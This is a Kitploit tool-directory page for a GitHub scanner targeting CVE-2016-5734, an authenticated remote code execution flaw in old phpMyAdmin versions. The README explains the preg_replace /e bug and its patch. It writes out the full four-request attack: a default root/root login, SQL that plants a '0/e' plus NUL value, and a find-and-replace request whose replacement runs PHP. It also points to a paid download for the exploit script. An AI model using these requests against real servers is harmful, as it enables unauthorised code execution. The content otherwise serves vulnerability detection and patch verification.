Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2016-5734 — Scanner and exploit for CVE-2016-5734, an authenticated RCE in phpMyAdmin 4.0.x/4.4.x/4.6.x via the preg_replace /e modifier in table find-and-replace. | Kitploit
Outils/GitHubGitHub/jonathan1010/cve-2016-5734
Vulnerability ScannersWeb Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubjonathan1010/cve-2016-5734

CVE-2016-5734

Scanner and exploit for CVE-2016-5734, an authenticated RCE in phpMyAdmin 4.0.x/4.4.x/4.6.x via the preg_replace /e modifier in table find-and-replace.

Voir le dépôt
4 déc. 2026Pas encore vérifié

Outils similaires

  • nuclei

    Scanner de vulnérabilités rapide basé sur YAML avec moteur de détection piloté par modèles pour des tests de sécurité automatisés sur les applications web, les API, les réseaux, le DNS et l'infrastructure cloud.

  • zaproxy

    Scanner de sécurité d'application web open-source pour la détection automatisée des vulnérabilités, les tests de pénétration manuels et les tests de sécurité d'API avec un moteur d'interception basé sur proxy.

  • openvas-scanner

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    Callisto

    jetp1ane/callisto

    Outil automatisé d'analyse de vulnérabilités binaires qui décompile des exécutables via Ghidra, analyse du pseudo-code C avec Semgrep, et valide les résultats en utilisant GPT-3.5-Turbo pour réduire les faux positifs.

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    Plateforme IMSI Catcher qui déploie une cellule GSM frauduleuse pour intercepter les SMS, injecter des messages et suivre les appareils mobiles

    721
  • 4

    opencti

    opencti-platform/opencti

    Plateforme ouverte de renseignement sur les cybermenaces

    535
  • 5

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    424
  • 6

    DFRoot

    a2333c/dfroot

    Outil de root Android pour Samsung Galaxy S25 Ultra (SM-S938B) qui enchaîne DirtyFrag CVE-2026-43284 et CVE-2026-43499 pour obtenir le root automatiquement au démarrage via KernelSU.

    419

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Contenu non disponible dans la langue demandée. Affichage de la version anglaise.

CVE-2016-5734

phpMyAdmin 4.0.x/4.4.x/4.6.x - Authenticated Remote Code Execution

Metadata

fieldvalue
CVECVE-2016-5734
severitycritical
CVSS8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H; template EPSS 0.91745, percentile 0.99814)
fixed inphpMyAdmin 4.0.10.16, 4.4.15.7, 4.6.3 (and PHP 7.0+ where /e is gone)
classpreg_replace /e (eval) modifier reachable through the table find-and-replace feature (CWE-95)
scanner version1.0.0
python3.8+ stdlib only, no third-party deps

Exploit

If you want the exploit, find it here: https://satoshidisk.com/pay/CT5RYa

Summary

The regex branch of the table search-and-replace feature builds its PCRE pattern by plain concatenation "/" . $find . "/". A cell that stores 0/e followed by a NUL byte makes the pattern terminate at the NUL, so preg_replace() sees /0/e: the stray e lands after the closing delimiter and becomes the eval modifier, which evaluates the replaceWith string as PHP code. An authenticated user (root/root is often enough) therefore runs arbitrary PHP. The template confirms execution by having the replacement print the md5 of a random nonce.

Full description

tbl_find_replace.php dispatches searchType=replace to the table search controller. In 4.6.2 the regex path is:

$result[$index][1] = preg_replace(
    "/" . $find . "/",
    $replaceWith,
    $row[0]
);

With find = 0/e plus a NUL byte, the NUL truncates the pattern string inside PCRE, the pattern collapses to /0/e, and the e modifier makes preg_replace() eval the replacement string, e.g. print(md5(<nonce>));. The digest then appears in the AJAX JSON body. On PHP 7.0+ the /e modifier no longer exists (deprecated since 5.5, removed in 7.0), so the same requests produce no digest and the host shows as not-vuln.

The 4.6.3 patch (libraries/controllers/table/TableSearchController.php) picks a delimiter that does not occur inside the find string, so no modifier character can leak past the closing delimiter:

$delimiters = array('/', '@', '#', '~', '!', '$', '%', '^', '&', '_');
... first delimiter absent from $find ...
if (!$found) { return false; }
$find = $delimiters[$i] . $find . $delimiters[$i];
preg_replace($find, $replaceWith, $row[0]);

The same fix landed in the 4.0.10.16 and 4.4.15.7 maintenance lines.

Detection model

  • Four requests per target (max-request: 4), mirroring the nuclei template flow http(1) && http(2) && http(3) && http(4).
  • Step 1: GET /index.php?lang=en; extract the session token with the template regex name="token" value="([a-f0-9]{16,})".
  • Step 2: POST /index.php?lang=en with pma_username=root&pma_password=root&server=1&target=index.php&token=<t> (accept 200 or 302, as the template does).
  • Step 3: POST /import.php with db=test&ajax_request=true&sql_query=CREATE DATABASE IF NOT EXISTS test; DROP TABLE IF EXISTS test.prgpwn; CREATE TABLE test.prgpwn (c varchar(10)); INSERT INTO test.prgpwn VALUES (UNHEX('302F6500')); where 302F6500 is 0/e plus NUL.
  • Step 4: POST /tbl_find_replace.php with db=test&table=prgpwn&goto=sql.php&columnIndex=0&useRegex=on&replace=true &submit=Go&ajax_request=true&find=0%2Fe%00&replaceWith=print(md5(<num>))%3B.
  • Matcher (verbatim from the template): the step-4 body contains the md5 of the numeric nonce num (rand_int 10000000..99999999).
  • check(url) returns (True, details) only when step 4 answers 200 and the digest substring is present; details keeps per-step status, the expected digest and a 200-char snippet.
  • A 12-char md5 token is computed over the JSON result so a merely reflected page is distinguishable from a real /e evaluation.
  • Every request retries (2 attempts, linear backoff); scheme-less hosts in urls.txt are auto-prefixed with http://.

Usage

# scanner (GitHub side): streamed CSV + optional JSON sidecar
python scanner/CVE-2016-5734/scanner.py urls.txt 8 CVE-2016-5734.csv --json CVE-2016-5734.json

# exploit (satoshidisk side): result dict + optional CSV/JSON dumps
python exploit/CVE-2016-5734/exploit.py http://target/ --csv CVE-2016-5734.csv --json CVE-2016-5734.json --verbose

urls.txt is a plain file, one target per line, # for comments.

Example scanner output

RCE POC SUITE
 scanner : CVE-2016-5734 v1.0.0
 threads : 4 | csv: CVE-2016-5734.csv | json: CVE-2016-5734.json
RCE POC SUITE
[..] loaded 1 target(s) from urls.txt
[..] [1/1] https://demo.phpmyadmin.net/QA_4_6 -> not-vuln
[..] json sidecar saved: CVE-2016-5734.json
[..] summary: total=1 vulnerable=0 not-vuln=1 errors=0
[..] timing : avg=31957ms max=31957ms wall=31.96s
[..] report saved: CVE-2016-5734.csv

Scanner report columns

columnmeaning
n1-based row number
urltarget as provided
statusok / error
vulnerableverdict
elapsed_msper-target timing
tokenmd5 proof-of-match (12 chars)
result_b64base64(JSON) full details

Files

  • scanner.py - detection only, stdlib, streamed CSV + JSON sidecar.
  • README.md - this file.
  • DESCRIPTION.md - deeper technical notes.
  • ../../exploit/CVE-2016-5734/exploit.py - four-stage POC.

Exit codes

codemeaning
0at least one target answered
2every target errored (or no targets loaded)

The POC returns 0 when its token verification passes and 2 on verification failed.

References

  • Nuclei template: http/cves/2016/CVE-2016-5734.yaml
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2016-5734
  • GHSA: https://github.com/advisories/GHSA-rv57-479x-x4qv
  • Packetstorm/exploit-db: https://www.exploit-db.com/exploits/40185
Télécharger l’outil

Ce dépôt contient le composant scanner pour Greenbone Community Edition.